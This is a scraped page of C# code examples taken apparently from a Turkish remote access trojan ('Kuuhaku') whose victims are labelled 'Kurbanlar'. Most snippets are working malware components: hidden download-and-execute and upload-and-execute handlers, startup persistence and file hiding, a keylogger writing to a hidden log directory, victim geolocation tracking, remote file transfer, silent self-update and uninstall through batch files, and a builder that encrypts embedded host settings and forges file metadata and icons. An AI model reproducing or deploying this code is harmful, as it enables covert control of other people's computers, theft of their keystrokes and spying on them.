Beispiel #1
0
        private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Kurbanlar.SelectedItems.Count != 0)
            {
                using (var frm = new FrmYükleÇalıştır(Kurbanlar.SelectedItems.Count))
                {
                    if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(YükleÇalıştır.FilePath))
                    {
                        new Thread(() =>
                        {
                            bool error = false;
                            foreach (Client c in GetSelectedClients())
                            {
                                if (c == null)
                                {
                                    continue;
                                }
                                if (error)
                                {
                                    continue;
                                }

                                FileSplit srcFile = new FileSplit(YükleÇalıştır.FilePath);
                                if (srcFile.MaxBlocks < 0)
                                {
                                    MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                    "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                    error = true;
                                    break;
                                }

                                int id = DosyaYardımcısı.GetNewTransferId();

                                Eylemİşleyicisi.HandleSetStatus(c,
                                                                new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor..."));

                                for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                {
                                    byte[] block;
                                    if (srcFile.ReadBlock(currentBlock, out block))
                                    {
                                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadAndExecute(id,
                                                                                                        Path.GetFileName(YükleÇalıştır.FilePath), block, srcFile.MaxBlocks,
                                                                                                        currentBlock, YükleÇalıştır.RunHidden).Execute(c);
                                    }
                                    else
                                    {
                                        MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                        "Yükleme İptal Edildi", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }
                                }
                            }
                        }).Start();
                    }
                }
            }
        }
Beispiel #2
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
            {
                return(false);
            }

            AES.SetDefaultKey(Settings.PASSWORD);
            ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
                                                    ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);

            if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Başlangıç.AddToStartup())
                    {
                        ClientVerisi.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop   = new ApplicationContext();
                        var logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new KuuhakuClient(hosts);
                return(true);
            }
            MutexHelper.CloseMutex();
            ClientYükleyici.Install(ConnectClient);
            return(false);
        }
Beispiel #3
0
        public void ValidateExecutableTest()
        {
            var bytes = new byte[] { 77, 90 };

            var result = DosyaYardımcısı.ExeValidmiKardeş(bytes);

            Assert.IsTrue(result, ".exe dosyası geçerliliği kontrol etme başarısız!");
        }
Beispiel #4
0
        public void ComputeHashTest()
        {
            var input  = DosyaYardımcısı.RastgeleDosyaİsmi(100);
            var result = SHA256.ComputeHash(input);

            Assert.IsNotNull(result);
            Assert.AreNotEqual(result, input);
        }
Beispiel #5
0
        public void RandomFilenameTest()
        {
            var length = 100;
            var name   = DosyaYardımcısı.RastgeleDosyaİsmi(length);

            Assert.IsNotNull(name);
            Assert.IsTrue(name.Length == length, "Dosya İsmi uzunluğu yanlış!");
        }
Beispiel #6
0
        public void ValidateInvalidFileTest()
        {
            var bytes = new byte[] { 22, 93 };

            var result = DosyaYardımcısı.ExeValidmiKardeş(bytes);

            Assert.IsFalse(result, "Geçersiz dosya kontrolü başarılı!");
        }
Beispiel #7
0
        public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client)
        {
            if (!_renamedFiles.ContainsKey(command.ID))
            {
                _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName)));
            }

            string filePath = _renamedFiles[command.ID];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                {
                    throw new Exception("Exe dosyası bulunamadı.");
                }

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    throw new Exception(destFile.LastError);
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }

                    DosyaYardımcısı.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                if (_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Remove(command.ID);
                }
                NativeMethods.DeleteFile(filePath);
                new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
Beispiel #8
0
        public static void HandleDoDownloadAndExecute(Paketler.ServerPaketleri.DoDownloadAndExecute command,
                                                      Client client)
        {
            new Paketler.ClientPaketleri.SetStatus("Dosya İndiriliyor...").Execute(client);

            new Thread(() =>
            {
                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.URL, tempFile);
                    }
                }
                catch
                {
                    new Paketler.ClientPaketleri.SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new Paketler.ClientPaketleri.SetStatus("Dosya İndirildi!").Execute(client);

                try
                {
                    DosyaYardımcısı.DeleteZoneIdentifier(tempFile);

                    var bytes = File.ReadAllBytes(tempFile);
                    if (!DosyaYardımcısı.ExeValidmiKardeş(bytes))
                    {
                        throw new Exception("herhangi bir pe dosyası bulunamadı.");
                    }

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    NativeMethods.DeleteFile(tempFile);
                    new Paketler.ClientPaketleri.SetStatus("Yürütme Başarısız!").Execute(client);
                    return;
                }

                new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
            }).Start();
        }
Beispiel #9
0
        private void WriteFile()
        {
            bool writeHeader = false;

            string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));

            try
            {
                DirectoryInfo di = new DirectoryInfo(LogDirectory);

                if (!di.Exists)
                {
                    di.Create();
                }

                if (Settings.HIDELOGDIRECTORY)
                {
                    di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
                }

                if (!File.Exists(filename))
                {
                    writeHeader = true;
                }

                StringBuilder logFile = new StringBuilder();

                if (writeHeader)
                {
                    logFile.Append(
                        "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
                        DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>");

                    logFile.Append("<style>.h { color: 0000ff; display: inline; }</style>");

                    _lastWindowTitle = string.Empty;
                }

                if (_logFileBuffer.Length > 0)
                {
                    logFile.Append(_logFileBuffer);
                }

                DosyaYardımcısı.LogDosyasıYaz(filename, logFile.ToString());

                logFile.Clear();
            }
            catch
            {
            }

            _logFileBuffer.Clear();
        }
Beispiel #10
0
        public void EncryptAndDecryptStringTest()
        {
            var input    = DosyaYardımcısı.GetRandomFilename(100);
            var password = DosyaYardımcısı.GetRandomFilename(50);

            AES.SetDefaultKey(password);

            var encrypted = AES.Encrypt(input);

            Assert.IsNotNull(encrypted);
            Assert.AreNotEqual(encrypted, input);

            var decrypted = AES.Decrypt(encrypted);

            Assert.AreEqual(input, decrypted);
        }
Beispiel #11
0
        public void EncryptAndDecryptByteArrayTest()
        {
            var input     = DosyaYardımcısı.GetRandomFilename(100);
            var inputByte = Encoding.UTF8.GetBytes(input);
            var password  = DosyaYardımcısı.GetRandomFilename(50);

            AES.SetDefaultKey(password);

            var encryptedByte = AES.Encrypt(inputByte);

            Assert.IsNotNull(encryptedByte);
            CollectionAssert.AllItemsAreNotNull(encryptedByte);
            CollectionAssert.AreNotEqual(encryptedByte, inputByte);

            var decryptedByte = AES.Decrypt(encryptedByte);

            CollectionAssert.AreEqual(inputByte, decryptedByte);
        }
Beispiel #12
0
        private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
        {
            if (e.IsTerminating)
            {
                var batchFile = DosyaYardımcısı.YenidenBaşlatmaBatı();
                if (string.IsNullOrEmpty(batchFile))
                {
                    return;
                }

                var startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);
                Exit();
            }
        }
Beispiel #13
0
        private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (ListViewItem files in lstDirectory.SelectedItems)
            {
                DizinTürleri type = (DizinTürleri)files.Tag;

                if (type == DizinTürleri.Dosya)
                {
                    string path = GetAbsolutePath(files.SubItems[0].Text);

                    int id = DosyaYardımcısı.GetNewTransferId(files.Index);

                    if (_connectClient != null)
                    {
                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoDownloadFile(path, id).Execute(_connectClient);

                        AddTransfer(id, "İndir", "Bekleniyor...", files.SubItems[0].Text);
                    }
                }
            }
        }
        public static void Update(Client client, string newFilePath)
        {
            try
            {
                DosyaYardımcısı.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (!DosyaYardımcısı.ExeValidmiKardeş(bytes))
                {
                    throw new Exception("Pe Dosyası Bulunamadı");
                }

                var batchFile = DosyaYardımcısı.GüncellemeBatı(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Güncelleme Bat Dosyası Oluşturulamadı.");
                }

                var startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                if (Settings.STARTUP)
                {
                    Başlangıç.RemoveFromStartup();
                }

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                new SetStatus(string.Format("Güncelleme Başarısız Oldu: {0}", ex.Message)).Execute(client);
            }
        }
Beispiel #15
0
        public static void Uninstall(Client client)
        {
            try
            {
                RemoveExistingLogs();

                if (Settings.STARTUP)
                {
                    Başlangıç.RemoveFromStartup();
                }

                if (!DosyaYardımcısı.OkunabilirTemizle(ClientVerisi.CurrentPath))
                {
                    throw new Exception("Could not clear read-only attribute");
                }

                string batchFile = DosyaYardımcısı.KaldırmaBatı(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create uninstall-batch file");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                new Paketler.ClientPaketleri.SetStatus(string.Format("Kaldırma Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
Beispiel #16
0
        public static void HandleGetAuthenticationResponse(Client client, GetAuthenticationResponse packet)
        {
            if (client.EndPoint.Address.ToString() == "255.255.255.255" || packet.Id.Length != 64)
            {
                return;
            }

            try
            {
                client.Value.Versiyon       = packet.Version;
                client.Value.IşletimSistemi = packet.OperatingSystem;
                client.Value.HesapTürü      = packet.AccountType;
                client.Value.Ülke           = packet.Country;
                client.Value.ÜlkeKodu       = packet.CountryCode;
                client.Value.Bölge          = packet.Region;
                client.Value.Şehir          = packet.City;
                client.Value.Id             = packet.Id;
                client.Value.KullanıcıAdi   = packet.Username;
                client.Value.PcAdi          = packet.PCName;
                client.Value.Etiket         = packet.Tag;
                client.Value.ImageIndex     = packet.ImageIndex;

                client.Value.DownloadDirectory = (!DosyaYardımcısı.CheckPathForIllegalChars(client.Value.KullanıcıPcde))
                    ? Path.Combine(Application.StartupPath,
                                   string.Format("Kurbanlar\\{0}_{1}\\", client.Value.KullanıcıPcde, client.Value.Id.Substring(0, 7)))
                    : Path.Combine(Application.StartupPath,
                                   string.Format("Kurbanlar\\{0}_{1}\\", client.EndPoint.Address, client.Value.Id.Substring(0, 7)));

                if (Ayarlar.ShowToolTip)
                {
                    new GetSystemInfo().Execute(client);
                }
            }
            catch
            {
            }
        }
Beispiel #17
0
        private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e)
        {
            lock (SocksServer)
            {
                if (e.ItemIndex < _openConnections.Length)
                {
                    ReverseProxyClient connection = _openConnections[e.ItemIndex];

                    e.Item = new ListViewItem(new string[]
                    {
                        connection.Client.EndPoint.ToString(),
                        connection.Client.Value.Ülke,
                        (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0}  ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer,
                        connection.TargetPort.ToString(),
                        DosyaYardımcısı.GetDataSize(connection.LengthReceived),
                        DosyaYardımcısı.GetDataSize(connection.LengthSent),
                        connection.Type.ToString()
                    })
                    {
                        Tag = connection
                    };
                }
            }
        }
Beispiel #18
0
        private void lstDirectory_DragDrop(object sender, DragEventArgs e)
        {
            if (e.Data.GetDataPresent(DataFormats.FileDrop))
            {
                string[] files     = (string[])e.Data.GetData(DataFormats.FileDrop);
                var      remoteDir = _currentDir;
                foreach (string filePath in files)
                {
                    if (!File.Exists(filePath))
                    {
                        continue;
                    }

                    string path = filePath;
                    new Thread(() =>
                    {
                        int id = DosyaYardımcısı.GetNewTransferId();

                        if (string.IsNullOrEmpty(path))
                        {
                            return;
                        }

                        AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path));

                        int index = GetTransferIndex(id);
                        if (index < 0)
                        {
                            return;
                        }

                        FileSplit srcFile = new FileSplit(path);
                        if (srcFile.MaxBlocks < 0)
                        {
                            UpdateTransferStatus(index, "Dosya Okuma Hatası", 0);
                            return;
                        }

                        string remotePath = Path.Combine(remoteDir, Path.GetFileName(path));

                        if (string.IsNullOrEmpty(remotePath))
                        {
                            return;
                        }

                        _limitThreads.WaitOne();
                        for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                        {
                            if (_connectClient.Value == null || _connectClient.Value.FrmFm == null)
                            {
                                _limitThreads.Release();
                                return;
                            }

                            if (CanceledUploads.ContainsKey(id))
                            {
                                UpdateTransferStatus(index, "İptal Edildi", 0);
                                _limitThreads.Release();
                                return;
                            }

                            index = GetTransferIndex(id);
                            if (index < 0)
                            {
                                _limitThreads.Release();
                                return;
                            }

                            decimal progress =
                                Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                            UpdateTransferStatus(index, string.Format("Yükleniyor...({0}%)", progress), -1);

                            byte[] block;
                            if (srcFile.ReadBlock(currentBlock, out block))
                            {
                                new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadFile(id,
                                                                                          remotePath, block, srcFile.MaxBlocks,
                                                                                          currentBlock).Execute(_connectClient);
                            }
                            else
                            {
                                UpdateTransferStatus(index, "Dosya Okuma Hatası", 0);
                                _limitThreads.Release();
                                return;
                            }
                        }
                        _limitThreads.Release();

                        if (remoteDir == _currentDir)
                        {
                            RefreshDirectory();
                        }

                        UpdateTransferStatus(index, "Tamamlandı", 1);
                    }).Start();
                }
            }
        }
Beispiel #19
0
        private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (var ofd = new OpenFileDialog())
            {
                ofd.Title       = "Yüklenicek dosyaları seçiniz";
                ofd.Filter      = "Bütün Dosyalar (*.*)|*.*";
                ofd.Multiselect = true;

                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    var remoteDir = _currentDir;
                    foreach (var filePath in ofd.FileNames)
                    {
                        if (!File.Exists(filePath))
                        {
                            continue;
                        }

                        string path = filePath;
                        new Thread(() =>
                        {
                            int id = DosyaYardımcısı.GetNewTransferId();

                            if (string.IsNullOrEmpty(path))
                            {
                                return;
                            }

                            AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path));

                            int index = GetTransferIndex(id);
                            if (index < 0)
                            {
                                return;
                            }

                            FileSplit srcFile = new FileSplit(path);
                            if (srcFile.MaxBlocks < 0)
                            {
                                UpdateTransferStatus(index, "Dosya Okuma Hatası", 0);
                                return;
                            }

                            string remotePath = Path.Combine(remoteDir, Path.GetFileName(path));

                            if (string.IsNullOrEmpty(remotePath))
                            {
                                return;
                            }

                            _limitThreads.WaitOne();
                            for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                            {
                                if (_connectClient.Value == null || _connectClient.Value.FrmFm == null)
                                {
                                    _limitThreads.Release();
                                    return;
                                }

                                if (CanceledUploads.ContainsKey(id))
                                {
                                    UpdateTransferStatus(index, "İptal Edildi", 0);
                                    _limitThreads.Release();
                                    return;
                                }

                                index = GetTransferIndex(id);
                                if (index < 0)
                                {
                                    _limitThreads.Release();
                                    return;
                                }

                                decimal progress =
                                    Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                                UpdateTransferStatus(index, string.Format("Yükleniyor...({0}%)", progress), -1);

                                byte[] block;
                                if (srcFile.ReadBlock(currentBlock, out block))
                                {
                                    new KuuhakuCekirdek.Paketler.ServerPaketleri.DoUploadFile(id,
                                                                                              remotePath, block, srcFile.MaxBlocks,
                                                                                              currentBlock).Execute(_connectClient);
                                }
                                else
                                {
                                    UpdateTransferStatus(index, "Dosya Okuma Hatası", 0);
                                    _limitThreads.Release();
                                    return;
                                }
                            }
                            _limitThreads.Release();

                            if (remoteDir == _currentDir)
                            {
                                RefreshDirectory();
                            }

                            UpdateTransferStatus(index, "Tamamlandı", 1);
                        }).Start();
                    }
                }
            }
        }
        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // YARRAK GİBİ UPDATE CODE İNC.
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                if (!_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(".exe"));
                }

                string filePath = _renamedFiles[command.ID];

                try
                {
                    if (command.CurrentBlock == 0 && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                    {
                        throw new Exception("EXE Bulunamadı.");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload Bitimi
                    {
                        if (_renamedFiles.ContainsKey(command.ID))
                        {
                            _renamedFiles.Remove(command.ID);
                        }
                        new SetStatus("Yükleniyor...").Execute(client);
                        ClientGüncelleyici.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }
                    NativeMethods.DeleteFile(filePath);
                    new SetStatus(string.Format("Yükleme Başarısız: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new SetStatus("Dosya İndiriliyor...").Execute(client);

                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new SetStatus("Yükleniyor...").Execute(client);

                ClientGüncelleyici.Update(client, tempFile);
            }).Start();
        }
Beispiel #21
0
        public static void Build(KurulumAyarları options)
        {
            string             encKey = DosyaYardımcısı.GetRandomFilename(20);
            AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");

            foreach (var typeDef in asmDef.Modules[0].Types)
            {
                if (typeDef.FullName == "xClient.Ayarlar.Settings")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            int strings = 1, bools = 1;

                            for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                            {
                                if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr")
                                {
                                    switch (strings)
                                    {
                                    case 1:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
                                        break;

                                    case 2:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
                                        break;

                                    case 3:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
                                        break;

                                    case 4:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
                                        break;

                                    case 5:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
                                        break;

                                    case 6:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
                                        break;

                                    case 7:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
                                        break;

                                    case 8:
                                        methodDef.Body.Instructions[i].Operand = encKey;
                                        break;

                                    case 9:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
                                        break;

                                    case 10:
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
                                        break;
                                    }
                                    strings++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                         methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0")
                                {
                                    switch (bools)
                                    {
                                    case 1:
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                        break;

                                    case 2:
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                        break;

                                    case 3:
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
                                        break;

                                    case 4:
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
                                        break;

                                    case 5:
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
                                        break;
                                    }
                                    bools++;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4")
                                {
                                    methodDef.Body.Instructions[i].Operand = options.Delay;
                                }
                                else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s")
                                {
                                    methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                                }
                            }
                        }
                    }
                }
            }

            Renamer r = new Renamer(asmDef);

            if (!r.Perform())
            {
                throw new Exception("renaming failed");
            }
            r.AsmDef.Write(options.OutputPath);

            if (options.AssemblyInformation != null)
            {
                VersionResource versionResource = new VersionResource();
                versionResource.LoadFrom(options.OutputPath);

                versionResource.FileVersion    = options.AssemblyInformation[7];
                versionResource.ProductVersion = options.AssemblyInformation[6];
                versionResource.Language       = 0;

                StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
                stringFileInfo["CompanyName"]      = options.AssemblyInformation[2];
                stringFileInfo["FileDescription"]  = options.AssemblyInformation[1];
                stringFileInfo["ProductName"]      = options.AssemblyInformation[0];
                stringFileInfo["LegalCopyright"]   = options.AssemblyInformation[3];
                stringFileInfo["LegalTrademarks"]  = options.AssemblyInformation[4];
                stringFileInfo["ProductVersion"]   = versionResource.ProductVersion;
                stringFileInfo["FileVersion"]      = versionResource.FileVersion;
                stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
                stringFileInfo["InternalName"]     = options.AssemblyInformation[5];
                stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];

                versionResource.SaveTo(options.OutputPath);
            }
            if (!string.IsNullOrEmpty(options.IconPath))
            {
                IconInjector.InjectIcon(options.OutputPath, options.IconPath);
            }
        }
Beispiel #22
0
 private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e)
 {
     e.Handled = ((e.KeyChar == '\\' || DosyaYardımcısı.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
                  !char.IsControl(e.KeyChar));
 }
Beispiel #23
0
        private void updateToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Kurbanlar.SelectedItems.Count != 0)
            {
                using (var frm = new FrmGüncelle(Kurbanlar.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (KuuhakuCekirdek.Veri.Update.İndirU)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(0, KuuhakuCekirdek.Veri.Update.İndirmeURLsi, string.Empty, new byte[0x00], 0, 0).Execute(c);
                            }
                        }
                        else
                        {
                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null)
                                    {
                                        continue;
                                    }
                                    if (error)
                                    {
                                        continue;
                                    }

                                    FileSplit srcFile = new FileSplit(KuuhakuCekirdek.Veri.Update.YüklemeDizini);
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                        "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = DosyaYardımcısı.GetNewTransferId();

                                    Eylemİşleyicisi.HandleSetStatus(c,
                                                                    new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor..."));

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                            "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }
                                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(id, string.Empty, string.Empty, block, srcFile.MaxBlocks, currentBlock).Execute(c);
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }
        public static void HandleGetDirectoryResponse(Client client, GetDirectoryResponse packet)
        {
            if (client.Value == null || client.Value.FrmFm == null)
            {
                return;
            }

            new Thread(() =>
            {
                if (client.Value.ProcessingDirectory)
                {
                    return;
                }
                client.Value.ProcessingDirectory = true;

                client.Value.FrmFm.ClearFileBrowser();
                client.Value.FrmFm.AddItemToFileBrowser("..", "", DizinTürleri.Geri, 0);

                if (packet.Folders != null && packet.Folders.Length != 0 && client.Value.ProcessingDirectory)
                {
                    for (int i = 0; i < packet.Folders.Length; i++)
                    {
                        if (packet.Folders[i] != DELIMITER)
                        {
                            if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory)
                            {
                                break;
                            }

                            client.Value.FrmFm.AddItemToFileBrowser(packet.Folders[i], "", DizinTürleri.Klasör, 1);
                        }
                    }
                }

                if (packet.Files != null && packet.Files.Length != 0 && client.Value.ProcessingDirectory)
                {
                    for (int i = 0; i < packet.Files.Length; i++)
                    {
                        if (packet.Files[i] != DELIMITER)
                        {
                            if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory)
                            {
                                break;
                            }

                            client.Value.FrmFm.AddItemToFileBrowser(packet.Files[i],
                                                                    DosyaYardımcısı.GetDataSize(packet.FilesSize[i]), DizinTürleri.Dosya,
                                                                    DosyaYardımcısı.GetFileIcon(Path.GetExtension(packet.Files[i])));
                        }
                    }
                }

                if (client.Value != null)
                {
                    client.Value.ReceivedLastDirectory = true;
                    client.Value.ProcessingDirectory   = false;
                    if (client.Value.FrmFm != null)
                    {
                        client.Value.FrmFm.SetStatus("Hazır");
                    }
                }
            }).Start();
        }
Beispiel #25
0
        public static void Install(Client client)
        {
            var isKilled = false;

            // klasör oluşturma
            if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER)))
            {
                try
                {
                    Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER));
                }
                catch (Exception)
                {
                    return;
                }
            }

            // silme
            if (File.Exists(ClientVerisi.InstallPath))
            {
                try
                {
                    File.Delete(ClientVerisi.InstallPath);
                }
                catch (Exception ex)
                {
                    if (ex is IOException || ex is UnauthorizedAccessException)
                    {
                        // eğer mutex değişirse eski işlemi öldürme
                        var foundProcesses =
                            Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientVerisi.InstallPath));
                        var myPid = Process.GetCurrentProcess().Id;
                        foreach (var prc in foundProcesses)
                        {
                            if (prc.Id == myPid)
                            {
